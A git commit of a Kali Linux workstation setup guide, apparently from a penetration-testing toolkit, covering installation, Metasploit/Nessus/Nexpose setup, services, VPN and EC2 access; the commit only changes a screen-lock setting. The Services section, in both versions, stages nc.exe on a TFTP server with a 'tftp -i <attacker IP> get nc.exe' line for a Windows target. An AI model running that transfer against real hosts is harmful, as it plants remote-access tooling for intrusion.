<commit_before>Kali


# Download

http://archive.kali.org/kali-daily-images/
kali-linux-daily-amd64.iso

Verify the SHA1 checksum.
OS X
     openssl sha1 kali-linux-daily-amd64.iso
Windows
     Download Microsoft File Checksum Integrity Verifier
     www.microsoft.com/en-us/download/details.aspx?id=11533
     fciv.exe –sha1 kali-linux-daily-amd64.iso
------------------------------------------------------------------------------------------------------

# Create a bootable USB

Download UNetbootin.
http://unetbootin.sourceforge.net/
Open UNetbootin.
Select Diskimage > ‘…’ > browse to kali-linux-daily-amd64.iso > Open
Type: USB Drive
OK
Should take about 15 min to complete > Exit
------------------------------------------------------------------------------------------------------

# Install

Set the computer BIOS to boot from USB before the hard drive.
Insert the USB drive and boot the computer.
When the UNetbootin menu appears > Live
Kali Linux should boot to the desktop.
Applications > Systems Tools > Install Kali Linux
Select a language: English > Continue
Select your location: United States > Continue
Configure your keyboard: American English > Continue
Configure the network: eth0 > Continue
Set up users and passwords: enter a password for root
Configure the clock: Eastern > Continue
Partition disks: Guided – use the entire disk > Continue
Partition disks: (your main HD) > Continue
Partition disks: All files in one partition > Continue
Partition disks: Finish partitioning and write changes to disk > Continue
Partition disks: Yes > Continue
Configure the package manager: Yes > Continue
Install the GRUB boot loader on a hard disk > Continue
------------------------------------------------------------------------------------------------------
 
# Remove screen lock

root (upper right corner) > System Settings > Brightness & Lock
Uncheck: Dim screen to save power
Lock: Off
------------------------------------------------------------------------------------------------------

# Terminal

Edit > Profile Preferences
General: Uncheck Use the system fixed width font
Background: Solid color
------------------------------------------------------------------------------------------------------

# Install Discover scripts

git clone git://github.com/leebaird/discover.git /opt/discover/
cd /opt/discover/
./setup.sh
cp alias /root/.bash_aliases ; source /root/.bash_aliases
Exit the Terminal
Open a new Terminal
update
------------------------------------------------------------------------------------------------------

# gedit

apt-get install gedit-plugins
gedit
Edit > Preferences
View: Display line numbers, Highlight current line
Editor: Tab width 5, Insert spaces instead of tabs, uncheck Create a backup copy of files before saving
Font & Colors: Oblivion
Plugins: Code comment
------------------------------------------------------------------------------------------------------

# Iceweasel

Tools > Ad-Ons > Extensions:
     Firebug, Live HTTP headers, 
     Make Address Bar Font Size Bigger, Tamper Data, Web Developer

Add bookmark
     NSEDoc           http://nmap.org/nsedoc/

Add folder: Scanners
     Metasploit       https://localhost:3790
     Nessus           https://localhost:8834
     Nexpose          https://localhost:3780
------------------------------------------------------------------------------------------------------

# Install Adobe Flash

apt-get -y install flashplugin-nonfree
update-flashplugin-nonfree --install
------------------------------------------------------------------------------------------------------

# Install Apache Directory Studio

https://directory.apache.org/studio/
Verify the MD5 checksum.
md5 <installer file>
tar zxvf <installer file>
mv <folder> /opt/ApacheDirectoryStudio/
rm <installer file>
------------------------------------------------------------------------------------------------------

# Install CAC Reader (if needed)

Notes                 https://help.ubuntu.com/community/CommonAccessCard

Packages              apt-get install libpcsclite1 pcscd pcsc-tools
DoD certificates      dodpki.c3pki.chamb.disa.mil/rootca.html
CACKey                https://docs.google.com/file/d/0B8JoV2w_9hicRGQ0TFQ5UEpwSkE/edit?pli=1

Attach CAC reader, insert CAC and verify Kali can read it.
pcsc_scan

Iceweasel > Edit > Preferences > Advanced > Security Devices > Load
     Module Name: CAC
     Browse > /usr/lib64/libcackey.so > Open > OK
     You should now see your device listed on the left > OK

Firefox extension     www.forge.mil/Resources-Firefox.html
------------------------------------------------------------------------------------------------------

# Install DbVisualizer

www.dbvis.com/download/
UNIX (setup installer)
chmod 755 <installer file>
./<installer file>
Take all default settings.
mv DbVisualizer/ /opt/
rm <installer file>
------------------------------------------------------------------------------------------------------

# Google Chrome to run at root

nano /opt/google/chrome/google-chrome
Change the last line to: exec -a "$0" "$HERE/chrome" "$@" --user-data-dir
------------------------------------------------------------------------------------------------------

# Install Java

java.com
Linux x64
tar zxvf jre-7u67-linux-x64.tar.gz
mv jre1.7.0_67/ /usr/lib/jvm
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jre1.7.0_67/bin/java 2
update-alternatives --config java
rm jdk-7u17-linux-x64.tar.gz
java -version
------------------------------------------------------------------------------------------------------

# Install Nessus

www.tenable.com/products/nessus/select-your-operating-system
Linux > Debian 7.0 (64 bits)
Nessus-5.2.7-debian6_amd64.deb
dpkg -i <installer file>
service nessusd start
https://localhost:8834
------------------------------------------------------------------------------------------------------

# Install Nexpose

chmod 755 NeXposeSetup-Linux64.bin
./NeXposeSetup-Linux64.bin
cd /opt/rapid7/nexpose/nsc/ && ./nsc.sh
https://localhost:3780
If you do not want this service to run at startup:  update-rc.d -f nexposeconsole.rc remove
------------------------------------------------------------------------------------------------------

# Install VMware Tools (if needed)

VMware > Virtual Machine > Install VMware Tools > Install
cp /media/VMware\ Tools/VMwareTools-<version>.tar.gz /root/
cd /root/
tar zxpf VMwareTools-<version>.tar.gz 
cd vmware-tools-distrib/
./vmware-install.pl 
Accept all the defaults.
reboot
------------------------------------------------------------------------------------------------------

# Create Shortcuts

Alt + right click on menu bar > Add to Panel
Application Launcher > Forward
Expand Accessories > gedit Text Editor > Add
Screenshot > Add
------------------------------------------------------------------------------------------------------

# Services

service apache2 start                            Start apache
netstat -antp | grep apache                      Verify the service is running
/var/www/index.html                              Default home page
/var/log/apache2/access.log                      Logs

service postgresql start                         Start postgreSQL
netstat -antp | grep postgres                    Verify the service is running
service metasploit start                         Start Metasploit
msfconsole                                       Launch Metasploit console
db_status                                        Verifty database connectivity
update-rc.d postgresql enable                    Enable postgreSQL to start at boot time
update-rc.d metasploit enable                    Enable Metasploit to start at boot time

service ssh start                                Start ssh
netstat -antp | grep ssh                         Verify the service is running
update-rc.d ssh enable                           Enable ssh to start at boot time
update-rc.d ssh disable                          Disable ssh from starting at boot time

mkdir /tftp                                      Create a new home folder for tftp
atftpd --daemon --port 69 /tftp                  Start tftp and assign home folder
netstat -anup | grep atftp                       Verify the service is running
cp /usr/share/windows-binaries/nc.exe /tftp/
tftp -i <attacker IP> get nc.exe                 Run from Windows
------------------------------------------------------------------------------------------------------

# Update procedure

update
Burp Suite Pro
DbVisualizer
Iceweasel plugins
Nessus                /opt/nessus/sbin/nessus-update-plugins
Nexpose
------------------------------------------------------------------------------------------------------

# VPN

apt-get install network-manager-iodine network-manager-iodine-gnome
apt-get install network-manager-openconnect network-manager-openconnect-gnome
apt-get install network-manager-openvpn network-manager-openvpn-gnome
apt-get install network-manager-pptp network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-vpnc network-manager-vpnc-gnome
/etc/init.d/network-manager restart

# Thanks to <NAME> for the bug fix!
nano /etc/network/interfaces
Remove the last two lines egarding eth0. 
Reboot
------------------------------------------------------------------------------------------------------

# X11

nano /etc/ssh/ssh_config
Uncomment ForwardX11, change to yes
Uncomment ForwardX11Trusted

service ssh restart
exit

ssh -X root@<targetIP>
echo $DISPLAY
You should see: localhost:10.0
------------------------------------------------------------------------------------------------------

# Amazon EC2 (in the process of being updated)

m1.xlarge

chmod 400 amazon.pem
ssh -i amazon.pem kali@<target IP>
yes

Cloud:
sudo su
apt-get update && apt-cache search kali-linux
apt-get install kali-linux-full
apt-get install gnome-desktop-environment
tightvncserver -geometry 1280x1024

Personal box:
ssh -L 5901:localhost:5901 -N -f kali@<target IP> -i amazon.pem
tightvncconnect 127.0.0.1:5901
<commit_msg>Update kali.txt<commit_after>Kali


# Download

http://archive.kali.org/kali-daily-images/
kali-linux-daily-amd64.iso

Verify the SHA1 checksum.
OS X
     openssl sha1 kali-linux-daily-amd64.iso
Windows
     Download Microsoft File Checksum Integrity Verifier
     www.microsoft.com/en-us/download/details.aspx?id=11533
     fciv.exe –sha1 kali-linux-daily-amd64.iso
------------------------------------------------------------------------------------------------------

# Create a bootable USB

Download UNetbootin.
http://unetbootin.sourceforge.net/
Open UNetbootin.
Select Diskimage > ‘…’ > browse to kali-linux-daily-amd64.iso > Open
Type: USB Drive
OK
Should take about 15 min to complete > Exit
------------------------------------------------------------------------------------------------------

# Install

Set the computer BIOS to boot from USB before the hard drive.
Insert the USB drive and boot the computer.
When the UNetbootin menu appears > Live
Kali Linux should boot to the desktop.
Applications > Systems Tools > Install Kali Linux
Select a language: English > Continue
Select your location: United States > Continue
Configure your keyboard: American English > Continue
Configure the network: eth0 > Continue
Set up users and passwords: enter a password for root
Configure the clock: Eastern > Continue
Partition disks: Guided – use the entire disk > Continue
Partition disks: (your main HD) > Continue
Partition disks: All files in one partition > Continue
Partition disks: Finish partitioning and write changes to disk > Continue
Partition disks: Yes > Continue
Configure the package manager: Yes > Continue
Install the GRUB boot loader on a hard disk > Continue
------------------------------------------------------------------------------------------------------
 
# Remove screen lock

root (upper right corner) > System Settings > Brightness & Lock
Turn screen off when inactive for: 1 hour
Lock: Off
------------------------------------------------------------------------------------------------------

# Terminal

Edit > Profile Preferences
General: Uncheck Use the system fixed width font
Background: Solid color
------------------------------------------------------------------------------------------------------

# Install Discover scripts

git clone git://github.com/leebaird/discover.git /opt/discover/
cd /opt/discover/
./setup.sh
cp alias /root/.bash_aliases ; source /root/.bash_aliases
Exit the Terminal
Open a new Terminal
update
------------------------------------------------------------------------------------------------------

# gedit

apt-get install gedit-plugins
gedit
Edit > Preferences
View: Display line numbers, Highlight current line
Editor: Tab width 5, Insert spaces instead of tabs, uncheck Create a backup copy of files before saving
Font & Colors: Oblivion
Plugins: Code comment
------------------------------------------------------------------------------------------------------

# Iceweasel

Tools > Ad-Ons > Extensions:
     Firebug, Live HTTP headers, 
     Make Address Bar Font Size Bigger, Tamper Data, Web Developer

Add bookmark
     NSEDoc           http://nmap.org/nsedoc/

Add folder: Scanners
     Metasploit       https://localhost:3790
     Nessus           https://localhost:8834
     Nexpose          https://localhost:3780
------------------------------------------------------------------------------------------------------

# Install Adobe Flash

apt-get -y install flashplugin-nonfree
update-flashplugin-nonfree --install
------------------------------------------------------------------------------------------------------

# Install Apache Directory Studio

https://directory.apache.org/studio/
Verify the MD5 checksum.
md5 <installer file>
tar zxvf <installer file>
mv <folder> /opt/ApacheDirectoryStudio/
rm <installer file>
------------------------------------------------------------------------------------------------------

# Install CAC Reader (if needed)

Notes                 https://help.ubuntu.com/community/CommonAccessCard

Packages              apt-get install libpcsclite1 pcscd pcsc-tools
DoD certificates      dodpki.c3pki.chamb.disa.mil/rootca.html
CACKey                https://docs.google.com/file/d/0B8JoV2w_9hicRGQ0TFQ5UEpwSkE/edit?pli=1

Attach CAC reader, insert CAC and verify Kali can read it.
pcsc_scan

Iceweasel > Edit > Preferences > Advanced > Security Devices > Load
     Module Name: CAC
     Browse > /usr/lib64/libcackey.so > Open > OK
     You should now see your device listed on the left > OK

Firefox extension     www.forge.mil/Resources-Firefox.html
------------------------------------------------------------------------------------------------------

# Install DbVisualizer

www.dbvis.com/download/
UNIX (setup installer)
chmod 755 <installer file>
./<installer file>
Take all default settings.
mv DbVisualizer/ /opt/
rm <installer file>
------------------------------------------------------------------------------------------------------

# Google Chrome to run at root

nano /opt/google/chrome/google-chrome
Change the last line to: exec -a "$0" "$HERE/chrome" "$@" --user-data-dir
------------------------------------------------------------------------------------------------------

# Install Java

java.com
Linux x64
tar zxvf jre-7u67-linux-x64.tar.gz
mv jre1.7.0_67/ /usr/lib/jvm
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jre1.7.0_67/bin/java 2
update-alternatives --config java
rm jdk-7u17-linux-x64.tar.gz
java -version
------------------------------------------------------------------------------------------------------

# Install Nessus

www.tenable.com/products/nessus/select-your-operating-system
Linux > Debian 7.0 (64 bits)
Nessus-5.2.7-debian6_amd64.deb
dpkg -i <installer file>
service nessusd start
https://localhost:8834
------------------------------------------------------------------------------------------------------

# Install Nexpose

chmod 755 NeXposeSetup-Linux64.bin
./NeXposeSetup-Linux64.bin
cd /opt/rapid7/nexpose/nsc/ && ./nsc.sh
https://localhost:3780
If you do not want this service to run at startup:  update-rc.d -f nexposeconsole.rc remove
------------------------------------------------------------------------------------------------------

# Install VMware Tools (if needed)

VMware > Virtual Machine > Install VMware Tools > Install
cp /media/VMware\ Tools/VMwareTools-<version>.tar.gz /root/
cd /root/
tar zxpf VMwareTools-<version>.tar.gz 
cd vmware-tools-distrib/
./vmware-install.pl 
Accept all the defaults.
reboot
------------------------------------------------------------------------------------------------------

# Create Shortcuts

Alt + right click on menu bar > Add to Panel
Application Launcher > Forward
Expand Accessories > gedit Text Editor > Add
Screenshot > Add
------------------------------------------------------------------------------------------------------

# Services

service apache2 start                            Start apache
netstat -antp | grep apache                      Verify the service is running
/var/www/index.html                              Default home page
/var/log/apache2/access.log                      Logs

service postgresql start                         Start postgreSQL
netstat -antp | grep postgres                    Verify the service is running
service metasploit start                         Start Metasploit
msfconsole                                       Launch Metasploit console
db_status                                        Verifty database connectivity
update-rc.d postgresql enable                    Enable postgreSQL to start at boot time
update-rc.d metasploit enable                    Enable Metasploit to start at boot time

service ssh start                                Start ssh
netstat -antp | grep ssh                         Verify the service is running
update-rc.d ssh enable                           Enable ssh to start at boot time
update-rc.d ssh disable                          Disable ssh from starting at boot time

mkdir /tftp                                      Create a new home folder for tftp
atftpd --daemon --port 69 /tftp                  Start tftp and assign home folder
netstat -anup | grep atftp                       Verify the service is running
cp /usr/share/windows-binaries/nc.exe /tftp/
tftp -i <attacker IP> get nc.exe                 Run from Windows
------------------------------------------------------------------------------------------------------

# Update procedure

update
Burp Suite Pro
DbVisualizer
Iceweasel plugins
Nessus                /opt/nessus/sbin/nessus-update-plugins
Nexpose
------------------------------------------------------------------------------------------------------

# VPN

apt-get install network-manager-iodine network-manager-iodine-gnome
apt-get install network-manager-openconnect network-manager-openconnect-gnome
apt-get install network-manager-openvpn network-manager-openvpn-gnome
apt-get install network-manager-pptp network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-vpnc network-manager-vpnc-gnome
/etc/init.d/network-manager restart

# Thanks to <NAME> for the bug fix!
nano /etc/network/interfaces
Remove the last two lines egarding eth0. 
Reboot
------------------------------------------------------------------------------------------------------

# X11

nano /etc/ssh/ssh_config
Uncomment ForwardX11, change to yes
Uncomment ForwardX11Trusted

service ssh restart
exit

ssh -X root@<targetIP>
echo $DISPLAY
You should see: localhost:10.0
------------------------------------------------------------------------------------------------------

# Amazon EC2 (in the process of being updated)

m1.xlarge

chmod 400 amazon.pem
ssh -i amazon.pem kali@<target IP>
yes

Cloud:
sudo su
apt-get update && apt-cache search kali-linux
apt-get install kali-linux-full
apt-get install gnome-desktop-environment
tightvncserver -geometry 1280x1024

Personal box:
ssh -L 5901:localhost:5901 -N -f kali@<target IP> -i amazon.pem
tightvncconnect 127.0.0.1:5901

{'fraction_non_alphanumeric': 0.27902007553170344, 'fraction_numerical': 0.014261578215066587, 'mean_word_length': 1.3740710156895128, 'pattern_counts': {'":': 0, '<': 33, '<?xml version=': 0, '>': 119, 'https://': 16, 'lorem ipsum': 0, 'www.': 10, 'xml': 0}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 18, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '4842636', 'n_tokens_mistral': 5156, 'n_tokens_neox': 4741, 'n_words': 1649}